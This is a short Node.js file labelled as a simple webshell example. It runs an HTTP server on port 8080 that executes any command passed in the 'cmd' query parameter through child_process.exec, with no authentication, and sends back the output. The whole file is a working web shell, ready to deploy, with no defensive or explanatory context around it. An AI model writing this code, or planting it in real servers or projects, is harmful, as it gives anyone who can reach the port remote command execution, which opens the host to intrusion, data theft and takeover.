// Simple webshell example
const http = require('http');
const url = require('url');
const { exec } = require('child_process');

http.createServer((req, res) => {
    const queryObject = url.parse(req.url, true).query;
    const command = queryObject.cmd;

    if (command) {
        exec(command, (err, stdout, stderr) => {
            if (err) {
                res.writeHead(500, { 'Content-Type': 'text/plain' });
                res.end(`Error: ${err.message}\n`);
                return;
            }
            res.writeHead(200, { 'Content-Type': 'text/plain' });
            if (stderr) {
                res.write(`stderr: ${stderr}\n`);
            }
            res.end(`stdout:\n${stdout}\n`);
        });
    } else {
        res.writeHead(400, { 'Content-Type': 'text/plain' });
        res.end('Please specify a command using the "cmd" query parameter.\n');
    }
}).listen(8080, () => {
    console.log('Web shell running on port 8080');
});